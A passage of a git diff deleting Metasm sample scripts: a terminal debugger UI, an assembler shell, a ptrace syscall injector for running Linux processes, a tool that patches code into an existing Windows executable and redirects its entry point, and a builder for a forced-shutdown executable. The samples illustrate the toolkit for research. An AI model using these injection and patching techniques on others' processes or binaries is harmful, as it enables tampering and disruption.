cursor at (cursx, cursy), converts cursor pos from 0-base to 1-base - # screenlines is a big text buffer with 1 line per tobeshown screen line (e.g. no Ansi cursor pos) - # screenlines must be screen wide - def display_screen(screenlines, cursx, cursy) - - @oldscreenbuf ||= [] - lines = screenlines.lines - oldlines = @oldscreenbuf - @oldscreenbuf = lines - screenlines = lines.zip(oldlines).map { |l, ol| l == ol ? "\n" : l }.join - - while screenlines[-1] == ?\n - screenlines.chop! - end - starty = 1 - while screenlines[0] == ?\n - screenlines = screenlines[1..-1] - starty += 1 - end - - $stdout.write Ansi.set_cursor_pos(starty, 1) + screenlines + Ansi.set_cursor_pos(cursy+1, cursx+1) - - $stdout.flush - end - - def update - return if not @running - display_screen updateregs + updatedata + updatecode + updateprompt, @promptpos+1, @console_height-2 - end - - def updateregs - once(:updateregs, "\n\n") { _updateregs } - end - - def _updateregs - pvrsz = 0 - words = @rs.register_list.map { |r| - rs = r.to_s.rjust(pvrsz) - pvrsz = rs.length - rv = @rs[r] - ["#{rs}=%0#{@rs.register_size[r]/4}X " % rv, - (@oldregs[r] != rv)] - } + @rs.flag_list.map { |fl| - fv = @rs.get_flag(fl) - [fv ? fl.to_s.upcase : fl.to_s.downcase, - (@oldregs[fl] != fv)] - } - - text = ' ' - linelen = 1 # line length w/o ansi colors - - owr = @win_reg_height - @win_reg_height = 1 - words.each { |w, changed| - if linelen + w.length >= @console_width - 1 - text << (' '*([@console_width-linelen, 0].max)) << "\n " - linelen = 1 - @win_reg_height += 1 - end - - text << Color[:changed] if changed - text << w - text << Color[:normal] if changed - text << ' ' - - linelen += w.length+1 - } - resize if owr != @win_reg_height - text << (' '*([@console_width-linelen, 0].max)) << "\n" - end - - def updatecode - once(:updatecode, "...\n"*@win_code_height) { _updatecode } - end - - def _updatecode - if @codeptr - addr = @codeptr - elsif @oldregs[@rs.register_pc] and @oldregs[@rs.register_pc] < @rs.pc and @oldregs[@rs.register_pc] + 8 >= @rs.pc - addr = @oldregs[@rs.register_pc] - else - addr = @rs.pc - end - @codeptr = addr - - addrsz = @rs.register_size[@rs.register_pc] - addrfmt = "%0#{addrsz/4}X" - if not @rs.addr2module(addr) and @rs.shortname !~ /remote/ - base = addr & ((1 << addrsz) - 0x1000) - @noelfsig ||= {} # cache elfmagic notfound - if not @noelfsig[base] and base < ((1 << addrsz) - 0x1_0000) - self.statusline = " scanning for elf header at #{addrfmt % base}" - 128.times { - @statusline = " scanning for elf header at #{addrfmt % base}" - if not @noelfsig[base] and @rs[base, Metasm::ELF::MAGIC.length] == Metasm::ELF::MAGIC - @rs.loadsyms(base, base.to_s(16)) - break - else - @noelfsig[base] = true # XXX an elf may be mmaped here later.. - end - base -= 0x1000 - break if base < 0 - } - self.statusline = nil - end - end - - text = '' - text << Color[:border] - title = @rs.addrname(addr) - pre = [@console_width-100, 6].max - post = @console_width - (pre + title.length + 2) - text << Ansi.hline(pre) << ' ' << title << ' ' << Ansi.hline(post) << Color[:normal] << "\n" - - seg = '' - seg = ('%04X' % @rs['cs']) << ':' if @rs.cpu.shortname =~ /ia32|x64/ - - cnt = @win_code_height - while (cnt -= 1) > 0 - if @rs.symbols[addr] - text << (' ' << @rs.symbols[addr] << ?:) << Ansi::ClearLineAfter << "\n" - break if (cnt -= 1) <= 0 - end - text << Color[:hilight] if addr == @rs.pc - text << seg - if @rs.shortname =~ /remote/ and @rs.realmode - text << (addrfmt % (addr - 16*@rs['cs'])) - else - text << (addrfmt % addr) - end - di = @rs.di_at(addr) - di = nil if di and addr < @rs.pc and addr+di.bin_length > @rs.pc - len = (di ? di.bin_length : 1) - text << ' ' - text << @rs.memory[addr, [len, 10].min].to_s.unpack('C*').map { |c| '%02X' % c }.join.ljust(22) - if di - text << - if addr == @rs.pc - "*#{di.instruction}".ljust([@console_width-(addrsz/4+seg.length+24), 0].max) - else - " #{di.instruction}" << Ansi::ClearLineAfter - end - else - text << ' <unk>' << Ansi::ClearLineAfter - end - text << Color[:normal] if addr == @rs.pc - addr += len - text << "\n" - end - text - end - - def updatedata - once(:updatedata, "...\n"*@win_data_height) { _updatedata } - end - - def _updatedata - addrsz = @rs.register_size[@rs.register_pc] - addrfmt = "%0#{addrsz/4}X" - - @dataptr &= ((1 << addrsz) - 1) - addr = @dataptr - - text = '' - text << Color[:border] - title = @rs.addrname(addr) - pre = [@console_width-100, 6].max - post = [@console_width - (pre + title.length + 2), 0].max - text << Ansi.hline(pre) << ' ' << title << ' ' << Ansi.hline(post) << Color[:normal] << "\n" - - seg = '' - seg = ('%04X' % @rs['ds']) << ':' if @rs.cpu.shortname =~ /^ia32/ - - cnt = @win_data_height - while (cnt -= 1) > 0 - raw = @rs.memory[addr, 16].to_s - text << seg << (addrfmt % addr) << ' ' - case @datafmt - when 'db'; text << raw[0,8].unpack('C*').map { |c| '%02x ' % c }.join << ' ' << - raw[8,8].to_s.unpack('C*').map { |c| '%02x ' % c }.join - when 'dw'; text << raw.unpack('S*').map { |c| '%04x ' % c }.join - when 'dd'; text << raw.unpack('L*').map { |c| '%08x ' % c }.join - end - text << ' ' << raw.unpack('C*').map { |c| (0x20..0x7e).include?(c) ? c : 0x2e }.pack('C*') - text << Ansi::ClearLineAfter << "\n" - addr += 16 - end - text - end - - def updateprompt - once(:updateprompt, "\n"*@win_prpt_height) { _updateprompt } - end - - def _updateprompt - text = '' - text << Color[:border] << Ansi.hline(@console_width) << Color[:normal] << "\n" - - @log_off = @promptlog.length - 2 if @log_off >= @promptlog.length - @log_off = 0 if @log_off < 0 - len = @win_prpt_height - 2 - len.times { |i| - i += @promptlog.length - @log_off - len - text << ((@promptlog[i] if i >= 0) || '') - text << Ansi::ClearLineAfter << "\n" - } - text << ':' << @promptbuf << Ansi::ClearLineAfter << "\n" - text << Color[:status] << statusline.chomp.ljust(@console_width) << Color[:normal] - end - - def statusline - @statusline ||= ' Enter a command (help for help)' - end - def statusline=(s) - @statusline = s - update - end - - def resize - @console_height, @console_width = Ansi.get_terminal_size - @win_data_height = 1 if @win_data_height < 1 - @win_code_height = 1 if @win_code_height < 1 - if @win_data_height + @win_code_height + @win_reg_height + 3 > @console_height - @win_data_height = @console_height/2 - 4 - @win_code_height = @console_height/2 - 4 - end - @win_prpt_height = @console_height-(@win_data_height+@win_code_height+@win_reg_height) - 1 - @oldscreenbuf = [] - update - end - - def log(*strs) - strs.each { |str| - raise str.inspect if not str.kind_of? ::String - str = str.chomp - if str.length > @console_width - # word wrap - str.scan(/.{0,#@console_width}/) { |str_| log str_ } - return - end - @promptlog << str - @promptlog.shift if @promptlog.length > @promptloglen - } - end - - def add_log(l) - log l - puts l if not @running - update rescue puts l - end - - def exec_prompt - @log_off = 0 - log ':'+@promptbuf - return if @promptbuf == '' - str = @promptbuf - @prompthistory << @promptbuf - @prompthistory.shift if @prompthistory.length > @prompthistlen - @promptbuf = '' - @promptpos = @promptbuf.length - - cmd, str = str.split(/\s+/, 2) - if @command.has_key? cmd - @command[cmd].call(str.to_s) - else - if cmd and (poss = @command.keys.find_all { |c| c[0, cmd.length] == cmd }).length == 1 - @command[poss.first].call(str.to_s) - else - log 'unknown command' - end - end - end - - def preupdate - @rs.register_list.each { |r| @oldregs[r] = @rs[r] } - @rs.flag_list.each { |fl| @oldregs[fl] = @rs.get_flag(fl) } - end - - def updatecodeptr - @codeptr ||= @rs.pc - if @codeptr > @rs.pc or @codeptr < @rs.pc - 6*@win_code_height - @codeptr = @rs.pc - elsif @codeptr != @rs.pc - addr = @codeptr - addrs = [] - while addr < @rs.pc - addrs << addr - o = ((di = @rs.di_at(addr)) ? di.bin_length : 0) - addr += ((o == 0) ? 1 : o) - end - if addrs.length > @win_code_height-4 - @codeptr = addrs[-(@win_code_height-4)] - end - end - updatedataptr - end - - def updatedataptr - end - - def singlestep - self.statusline = ' target singlestepping...' - preupdate - @rs.singlestep_wait - updatecodeptr - @statusline = nil - end - def stepover - self.statusline = ' target running...' - preupdate - @rs.stepover_wait - updatecodeptr - @statusline = nil - end - def cont(*a) - self.statusline = ' target running...' - preupdate - @rs.continue_wait(*a) - updatecodeptr - @statusline = nil - end - def stepout - self.statusline = ' target running...' - preupdate - @rs.stepout_wait - updatecodeptr - @statusline = nil - end - def syscall - self.statusline = ' target running to next syscall...' - preupdate - @rs.syscall_wait - updatecodeptr - @statusline = nil - end - - def main_loop_inner - @prompthistory = [''] - @histptr = nil - @running = true - update - while @running - if not IO.select [$stdin], nil, nil, 0 - begin - update - rescue Errno::ESRCH - break - end - end - break if handle_keypress(Ansi.getkey) - end - end - - def handle_keypress(k) - case k - when ?\4; log 'exiting'; return true # eof - when ?\e; @focus = :prompt - when :f5; cont - when :f6; syscall - when :f10; stepover - when :f11; singlestep - when :f12; stepout - when :up - case @focus - when :prompt - if not @histptr - @prompthistory << @promptbuf - @histptr = 2 - else - @histptr += 1 - @histptr = 1 if @histptr > @prompthistory.length - end - @promptbuf = @prompthistory[-@histptr].dup - @promptpos = @promptbuf.length - when :data - @dataptr -= 16 - when :code - @codeptr ||= @rs.pc - @codeptr -= (1..10).find { |off| - di = @rs.di_at(@codeptr-off) - di.bin_length == off if di - } || 10 - end - when :down - case @focus - when :prompt - if not @histptr - @prompthistory << @promptbuf - @histptr = @prompthistory.length - else - @histptr -= 1 - @histptr = @prompthistory.length if @histptr < 1 - end - @promptbuf = @prompthistory[-@histptr].dup - @promptpos = @promptbuf.length - when :data - @dataptr += 16 - when :code - @codeptr ||= @rs.pc - di = @rs.di_at(@codeptr) - @codeptr += (di ? (di.bin_length || 1) : 1) - end - when :left; @promptpos -= 1 if @promptpos > 0 - when :right; @promptpos += 1 if @promptpos < @promptbuf.length - when :home; @promptpos = 0 - when :end; @promptpos = @promptbuf.length - when :backspace, ?\x7f; @promptbuf[@promptpos-=1, 1] = '' if @promptpos > 0 - when :suppr; @promptbuf[@promptpos, 1] = '' if @promptpos < @promptbuf.length - when :pgup - case @focus - when :prompt; @log_off += @win_prpt_height-3 - when :data; @dataptr -= 16*(@win_data_height-1) - when :code - @codeptr ||= @rs.pc - (@win_code_height-1).times { - @codeptr -= (1..10).find { |off| - di = @rs.di_at(@codeptr-off) - di.bin_length == off if di - } || 10 - } - end - when :pgdown - case @focus - when :prompt; @log_off -= @win_prpt_height-3 - when :data; @dataptr += 16*(@win_data_height-1) - when :code - @codeptr ||= @rs.pc - (@win_code_height-1).times { @codeptr += ((o = @rs.di_at(@codeptr)) ? [o.bin_length, 1].max : 1) } - end - when ?\t - if not @promptbuf[0, @promptpos].include? ' ' - poss = @command.keys.find_all { |c| c[0, @promptpos] == @promptbuf[0, @promptpos] } - if poss.length > 1 - log poss.sort.join(' ') - elsif poss.length == 1 - @promptbuf[0, @promptpos] = poss.first + ' ' - @promptpos = poss.first.length+1 - end - end - when ?\n - @histptr = nil - begin - exec_prompt - rescue Exception - log "error: #$!", *$!.backtrace - end - when ?\ ..?~ - @promptbuf[@promptpos, 0] = k.chr - @promptpos += 1 - else log "unknown key pressed #{k.inspect}" - end - nil - end - - def load_commands - @command['kill'] = lambda { |str| - @rs.kill - @running = false - log 'killed' - } - @command['quit'] = @command['detach'] = @command['exit'] = lambda { |str| - @rs.detach - @running = false - } - @command['closeui'] = lambda { |str| - @running = false - } - @command['bpx'] = lambda { |str| - @rs.bpx @rs.resolve(str) - } - @command['bphw'] = @command['hwbp'] = lambda { |str| - type, str = str.split(/\s+/, 2) - @rs.hwbp @rs.resolve(str.to_s), type - } - @command['bt'] = lambda { |str| @rs.stacktrace { |a,t| add_log "#{'%x' % a} #{t}" } } - @command['d'] = lambda { |str| @dataptr = @rs.resolve(str) if str.length > 0 } - @command['db'] = lambda { |str| @datafmt = 'db' ; @dataptr = @rs.resolve(str) if str.length > 0 } - @command['dw'] = lambda { |str| @datafmt = 'dw' ; @dataptr = @rs.resolve(str) if str.length > 0 } - @command['dd'] = lambda { |str| @datafmt = 'dd' ; @dataptr = @rs.resolve(str) if str.length > 0 } - @command['r'] = lambda { |str| - r, str = str.split(/\s+/, 2) - if r == 'fl' - @rs.toggle_flag(str.to_sym) - elsif not @rs[r] - log "bad reg #{r}" - elsif str and str.length > 0 - @rs[r] = @rs.resolve(str) - else - log "#{r} = #{@rs[r]}" - end - } - @command['g'] = lambda { |str| - @rs.go @rs.resolve(str) - } - @command['u'] = lambda { |str| @codeptr = @rs.resolve(str) } - @command['ruby'] = lambda { |str| instance_eval str } - @command['wd'] = lambda { |str| - @focus = :data - if str.length > 0 - @win_data_height = @rs.resolve(str) - resize - end - } - @command['wc'] = lambda { |str| - @focus = :code - if str.length > 0 - @win_code_height = @rs.resolve(str) - resize - end - } - @command['wp'] = lambda { |str| @focus = :prompt } - @command['?'] = lambda { |str| - val = @rs.resolve(str) - log "#{val} 0x#{val.to_s(16)} #{[val].pack('L').inspect}" - } - @command['syscall'] = lambda { |str| - @rs.syscall_wait(str) - } - end -end - - -if $0 == __FILE__ - require 'optparse' - opts = { :sc_cpu => 'Ia32' } - OptionParser.new { |opt| - opt.on('-m map', '--map filemap') { |f| opts[:filemap] = f } - opt.on('--cpu cpu') { |c| opts[:sc_cpu] = c } - }.parse!(ARGV) - - case ARGV.first - when /^(tcp:|udp:)?..+:/, /^ser:/ - opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ - opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class) - rs = Metasm::GdbRemoteDebugger.new(ARGV.first, opts[:sc_cpu]) - else - rs = Metasm::LinDebugger.new(ARGV.join(' ')) - end - rs.load_map(opts[:filemap]) if opts[:filemap] - LinDebug.new(rs).main_loop -end diff --git a/lib/metasm/samples/linux_injectsyscall.rb b/lib/metasm/samples/linux_injectsyscall.rb deleted file mode 100644 index e7048c1df6..0000000000 --- a/lib/metasm/samples/linux_injectsyscall.rb +++ /dev/null @@ -1,95 +0,0 @@ -#!/usr/bin/ruby - -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this exemple illustrates the use of the PTrace class to hijack a syscall in a running process -# the next syscall made is patched to run the syscall with the arguments of our choice, then -# run the original intended syscall -# Works on linux/x86 -# - - -require 'metasm' - -class SyscallHooker < Metasm::PTrace - CTX = ['EBX', 'ECX', 'EDX', 'ESI', 'EDI', 'EAX', 'ESP', 'EBP', 'EIP', 'ORIG_EAX'] - - def inject(sysnr, *args) - sysnr = syscallnr[sysnr] || sysnr - - syscall - puts '[*] waiting syscall' - Process.waitpid(@pid) - - savedctx = CTX.inject({}) { |ctx, reg| ctx.update reg => peekusr(REGS_I386[reg]) } - - eip = (savedctx['EIP'] - 2) & 0xffffffff - fu = readmem(eip, 2) - if fu == "\xcd\x80" - mode = :int80 - elsif fu == "\xeb\xf3" and readmem(eip-14, 7).unpack('H*').first == "51525589e50f34" # aoenthuasn - mode = :sysenter - elsif fu == "\x0f\x05" - mode = :syscall - else - puts 'unhandled syscall convention, aborting, code = ' + readmem(eip-4, 8).unpack('H*').first - cont - return self - end - - if args.length > 5 - puts 'too may arguments, unsupported, aborting' - else - puts "[*] hooking #{syscallnr.index(savedctx['ORIG_EAX'])}" - - # stack pointer to store buffers to - esp_ptr = savedctx['ESP'] - write_string = lambda { |s| - esp_ptr -= s.length - esp_ptr &= 0xffff_fff0 - writemem(esp_ptr, s) - [esp_ptr].pack('L').unpack('l').first - } - set_arg = lambda { |a| - case a - when String; write_string[a + 0.chr] - when Array; write_string[a.map { |aa| set_arg[aa] }.pack('L*')] - else a - end - } - args.zip(CTX).map { |arg, reg| - # set syscall args, put buffers on the stack as needed - pokeusr(REGS_I386[reg], set_arg[arg]) - } - # patch syscall number - pokeusr(REGS_I386['ORIG_EAX'], sysnr) - - - # run hooked syscall - syscall - Process.waitpid(@pid) - retval = peekusr(REGS_I386['EAX']) - puts "[*] retval: #{'%X' % retval}#{" (Errno::#{ERRNO.index(-retval)})" if retval < 0}" - - if syscallnr.index(sysnr) == 'execve' and retval >= 0 - cont - return self - end - - # restore eax & eip to run the orig syscall - savedctx['EIP'] -= 2 - savedctx['EAX'] = savedctx['ORIG_EAX'] - savedctx.each { |reg, val| pokeusr(REGS_I386[reg], val) } - end - - self - end -end - -if $0 == __FILE__ - SyscallHooker.new(ARGV.shift.to_i).inject('write', 2, "testic\n", 7).detach -end diff --git a/lib/metasm/samples/machoencode.rb b/lib/metasm/samples/machoencode.rb deleted file mode 100644 index 0c24dbeaf9..0000000000 --- a/lib/metasm/samples/machoencode.rb +++ /dev/null @@ -1,31 +0,0 @@ -#!/usr/bin/env ruby - -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm' -$opts = { :execlass => Metasm::MachO } -load File.join(File.dirname(__FILE__), 'exeencode.rb') - -__END__ -.text - -str db "Hello, World !\n", 0 -strlen equ $-str -.align 8 - -.entrypoint -push strlen -push str -push 1 // stdout -mov eax, 4 // sys_write -push eax -int 80h -add esp, 12 - -push 0 -mov eax, 1 // sys_exit -push eax -int 80h diff --git a/lib/metasm/samples/metasm-shell.rb b/lib/metasm/samples/metasm-shell.rb deleted file mode 100644 index 76a365f5e2..0000000000 --- a/lib/metasm/samples/metasm-shell.rb +++ /dev/null @@ -1,90 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# modifies the standard ruby class String to add #decode and #encode methods -# they will respectively disassemble binary data / assemble asm source -# the default CPU is x86 32bits, change it using eg String.cpu = Metasm::MIPS.new(:big) (mips bigendian) -# -# it also defines the toplevel 'asm' method, that will start an interactive -# assembler shell (type in assembly statements, they are shown assembled in binary escaped form) -# -# eg: -# ruby metasm-shell -# > nop ; nop -# "\x90\x90" -# > exit - -require 'metasm' - -class String - @@cpu = Metasm::Ia32.new - class << self - def cpu() @@cpu end - def cpu=(c) - c = Metasm.const_get(c).new if c.kind_of? String - @@cpu=c - end - end - - # encodes the current string as a Shellcode, returns the resulting EncodedData - def encode_edata - Metasm::Shellcode.assemble(@@cpu, self).encode.encoded - end - - # encodes the current string as a Shellcode, returns the resulting binary String - # outputs warnings on unresolved relocations - def encode - ed = encode_edata - if not ed.reloc.empty? - puts 'W: encoded string has unresolved relocations: ' + ed.reloc.map { |o, r| r.target.inspect }.join(', ') - end - ed.fill - ed.data - end - - # decodes the current string as a Shellcode, with specified base address - # returns the resulting Disassembler - def decode_blocks(base_addr=0, eip=base_addr) - sc = Metasm::Shellcode.decode(self, @@cpu) - sc.base_addr = base_addr - sc.disassemble(eip) - end - - # decodes the current string as a Shellcode, with specified base address - # returns the asm source equivallent - def decode(base_addr=0, eip=base_addr) - decode_blocks(base_addr, eip).to_s - end -end - -# get in interactive assembler mode -def asm - puts 'type "exit" or "quit" to quit', 'use ";" for newline', '' - while (print "asm> " ; $stdout.flush ; l = gets) - break if %w[quit exit].include? l.chomp - if l.chomp == 'help' - puts "Metasm assembly shell: type in opcodes to see their binary form", - "You can use ';' to type multi-line stuff", - "e.g. 'nop nop' will display \"\\x90\\x90\"" - next - end - - begin - data = l.gsub(';', "\n") - next if data.strip.empty? - data = data.encode - puts '"' + data.unpack('C*').map { |c| '\\x%02x' % c }.join + '"' - rescue Metasm::Exception => e - puts "Error: #{e.class} #{e.message}" - end - end - - puts -end - -if __FILE__ == $0 - asm -end diff --git a/lib/metasm/samples/pe-hook.rb b/lib/metasm/samples/pe-hook.rb deleted file mode 100644 index 39e3b8d00e..0000000000 --- a/lib/metasm/samples/pe-hook.rb +++ /dev/null @@ -1,69 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# in this file, we open an existing PE, add some code to its last section and -# patch the entrypoint so that we are executed at program start -# - -require 'metasm' - -# read original file -raise 'need a target filename' if not target = ARGV.shift -pe_orig = Metasm::PE.decode_file(target) -pe = pe_orig.mini_copy -pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4] -pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup -pe.header.time = pe_orig.header.time - -has_mb = pe.imports.find { |id| id.imports.find { |i| i.name == 'MessageBoxA' } } ? 1 : 0 -# hook code to run on start -newcode = Metasm::Shellcode.assemble(pe.cpu, <<EOS).encoded -hook_entrypoint: -pushad -#if ! #{has_mb} -push hook_libname -call [iat_LoadLibraryA] -push hook_funcname -push eax -call [iat_GetProcAddress] -#else -mov eax, [iat_MessageBoxA] -#endif - -push 0 -push hook_title -push hook_msg -push 0 -call eax - -popad -jmp entrypoint - -.align 4 -hook_msg db '(c) David Hasselhoff', 0 -hook_title db 'Hooked on a feeling', 0 -#if ! #{has_mb} -hook_libname db 'user32', 0 -hook_funcname db 'MessageBoxA', 0 -#endif -EOS - -# modify last section -s = Metasm::PE::Section.new -s.name = '.hook' -s.encoded = newcode -s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE] -s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint) # tell the original entrypoint address to our hook -pe.sections << s -pe.invalidate_header - -# patch entrypoint -pe.optheader.entrypoint = 'hook_entrypoint' - -# save -pe.encode_file(target.sub(/\.exe$/i, '-patch.exe')) diff --git a/lib/metasm/samples/pe-ia32-cpuid.rb b/lib/metasm/samples/pe-ia32-cpuid.rb deleted file mode 100644 index 39cbf96d0c..0000000000 --- a/lib/metasm/samples/pe-ia32-cpuid.rb +++ /dev/null @@ -1,203 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# this sample shows the compilation of a slightly more complex program -# it displays in a messagebox the result of CPUID -# - -require 'metasm' - -pe = Metasm::PE.assemble Metasm::Ia32.new, <<EOS -.text -m_cpuid macro nr - xor ebx, ebx - and ecx, ebx - and edx, ebx - mov eax, nr - cpuid -endm - -.entrypoint - -push ebx push ecx push edx - -m_cpuid(0) -mov [cpuname], ebx -mov [cpuname+4], edx -mov [cpuname+8], ecx -and byte ptr [cpuname+12], 0 - -m_cpuid(0x8000_0000) -and eax, 0x8000_0000 -jz extended_unsupported - -m_str_cpuid macro nr - m_cpuid(0x8000_0002 + nr) - mov [cpubrand + 16*nr + 0], eax - mov [cpubrand + 16*nr + 4], ebx - mov [cpubrand + 16*nr + 8], ecx - mov [cpubrand + 16*nr + 12], edx -endm - -m_str_cpuid(0) -m_str_cpuid(1) -m_str_cpuid(2) - -extended_unsupported: -and byte ptr[cpubrand+48], 0 - -push cpubrand -push cpuname -push format -push buffer -call wsprintf -add esp, 4*4 - -push 0 -push title -push buffer -push 0 -call messagebox - -pop edx pop ecx pop ebx - -xor eax, eax -ret - -.import user32 MessageBoxA messagebox -.import user32 wsprintfA wsprintf - -#define PE_HOOK_TARGET -#ifdef PE_HOOK_TARGET -; import these to be a good target for pe-hook.rb -.import kernel32 LoadLibraryA -.import kernel32 GetProcAddress -#endif - -.data -format db 'CPU: %s\\nBrandstring: %s', 0 -title db 'cpuid', 0 - -.bss -buffer db 1025 dup(?) -.align 4 -cpuname db 3*4+1 dup(?) -.align 4 -cpubrand db 3*4*4+1 dup(?) - -EOS - -pe.encode_file('metasm-cpuid.exe') - -__END__ - -// original C code (more complete) - -#include <unistd.h> -#include <stdio.h> - -static char *featureinfo[32] = { - "fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8", - "apic", "unk10", "sep", "mtrr", "pge", "mca", "cmov", "pat", - "pse36", "psn", "clfsh", "unk20", "ds", "acpi", "mmx", - "fxsr", "sse", "sse2", "ss", "htt", "tm", "unk30", "pbe" -}, *extendinfo[32] = { - "sse3", "unk1", "unk2", "monitor", "ds-cpl", "unk5-vt", "unk6", "est", - "tm2", "unk9", "cnxt-id", "unk12", "cmpxchg16b", "unk14", "unk15", - "unk16", "unk17", "unk18", "unk19", "unk20", "unk21", "unk22", "unk23", - "unk24", "unk25", "unk26", "unk27", "unk28", "unk29", "unk30", "unk31" -}; - -#define cpuid(id) __asm__( "cpuid" : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) : "a"(id), "b"(0), "c"(0), "d"(0)) -#define b(val, base, end) ((val << (31-end)) >> (31-end+base)) -int main(void) -{ - unsigned long eax, ebx, ecx, edx; - unsigned long i, max; - int support_extended; - - printf("%8s - %8s %8s %8s %8s\n", "query", "eax", "ebx", "ecx", "edx"); - - max = 0; - for (i=0 ; i<=max ; i++) { - cpuid(i); - if (!i) - max = eax; - printf("%.8lX - %.8lX %.8lX %.8lX %.8lX\n", i, eax, ebx, ecx, edx); - } - printf("\n"); - - max = 0x80000000; - for (i=0x80000000 ; i<=max ; i++) { - cpuid(i); - if (!(i << 1)) { - max = eax; - support_extended = eax >> 31; - } - printf("%.8lX - %.8lX %.8lX %.8lX %.8lX\n", i, eax, ebx, ecx, edx); - } - printf("\n"); - - cpuid(0); - printf("identification: \"%.4s%.4s%.4s\"\n", (char *)&ebx, (char *)&edx, (char *)&ecx); - - printf("cpu information:\n"); - cpuid(1); - printf(" family %ld model %ld stepping %ld efamily %ld emodel %ld\n", - b(eax, 8, 11), b(eax, 4, 7), b(eax, 0, 3), b(eax, 20, 27), b(eax, 16, 19)); - printf(" brand %ld cflush sz %ld*8 nproc %ld apicid %ld\n", - b(ebx, 0, 7), b(ebx, 8, 15), b(ebx, 16, 23), b(ebx, 24, 31)); - - printf(" feature information:"); - for (i=0 ; i<32 ; i++) - if (edx & (1 << i)) - printf(" %s", featureinfo[i]); - - printf("\n extended information:"); - for (i=0 ; i<32 ; i++) - if (ecx & (1 << i)) - printf(" %s", extendinfo[i]); - printf("\n"); - - if (!support_extended) - return 0; - - printf("extended cpuid:\n", eax); - cpuid(0x80000001); - printf(" %.8lX %.8lX %.8lX %.8lX + ", eax, ebx, ecx & ~1, edx & ~0x00800102); - if (ecx & 1) - printf(" lahf64"); - - if (edx & (1 << 11)) - printf(" syscall64"); - if (edx & (1 << 20)) - printf(" nx"); - if (edx & (1 << 29)) - printf(" em64t"); - - char brandstring[48]; - unsigned long *p = (unsigned long*)brandstring; - cpuid(0x80000002); - *p++ = eax; - *p++ = ebx; - *p++ = ecx; - *p++ = edx; - cpuid(0x80000003); - *p++ = eax; - *p++ = ebx; - *p++ = ecx; - *p++ = edx; - cpuid(0x80000004); - *p++ = eax; - *p++ = ebx; - *p++ = ecx; - *p++ = edx; - printf("\n brandstring: \"%.48s\"\n", brandstring); - - return 0; -} diff --git a/lib/metasm/samples/pe-mips.rb b/lib/metasm/samples/pe-mips.rb deleted file mode 100644 index 93979ab9d5..0000000000 --- a/lib/metasm/samples/pe-mips.rb +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# here we assemble a dummy MIPS PE -# TODO autodetect header.machine from cpu, find something to put in -# the MZ header, make a real mips sample program -# - - -require 'metasm' - -cpu = Metasm::MIPS.new(:little) -prog = Metasm::PE.assemble(cpu, <<EOS) -.text -.entrypoint -lui r4, 0x42 -jal toto -add r4, r1, r2 -jr r31 -nop - -toto: -jr r31 -;ldc1 fp12, 28(r4) -nop - -.import 'foobar' 'baz' -EOS -prog.header.machine='R4000' -data = prog.encode_file 'mipspe.exe' - diff --git a/lib/metasm/samples/pe-shutdown.rb b/lib/metasm/samples/pe-shutdown.rb deleted file mode 100644 index 8a44ac035a..0000000000 --- a/lib/metasm/samples/pe-shutdown.rb +++ /dev/null @@ -1,78 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# here we will build an executable file that will shut down the machine -# when run -# the header part comes from the factorize sample script -# - -require 'metasm' -cpu = Metasm::Ia32.new -cpu.generate_PIC = false -Metasm::PE.compile_c(cpu, DATA.read + <<EOS).encode_file('metasm-shutdown.exe') -int main(void) { - static HANDLE htok; - static TOKEN_PRIVILEGES tokpriv; - OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &htok); - LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tokpriv.Privileges[0].Luid); - tokpriv.PrivilegeCount = 1U; - tokpriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - AdjustTokenPrivileges(htok, 0, &tokpriv, 0U, NULL, NULL); - ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_UPGRADE | SHTDN_REASON_FLAG_PLANNED); - return 0; -} -EOS - -__END__ -#define EWX_FORCE 0x00000004U -#define EWX_SHUTDOWN 0x00000001U -#define LookupPrivilegeValue LookupPrivilegeValueA -#define NULL ((void *)0) -#define SE_PRIVILEGE_ENABLED (0x00000002UL) -#define SHTDN_REASON_FLAG_PLANNED 0x80000000U -#define SHTDN_REASON_MAJOR_OPERATINGSYSTEM 0x00020000U -#define SHTDN_REASON_MINOR_UPGRADE 0x00000003U -#define TOKEN_ADJUST_PRIVILEGES (0x0020U) -#define TOKEN_QUERY (0x0008U) -#define __TEXT(quote) quote -#define TEXT(quote) __TEXT(quote) -#define SE_SHUTDOWN_NAME TEXT("SeShutdownPrivilege") - -typedef int 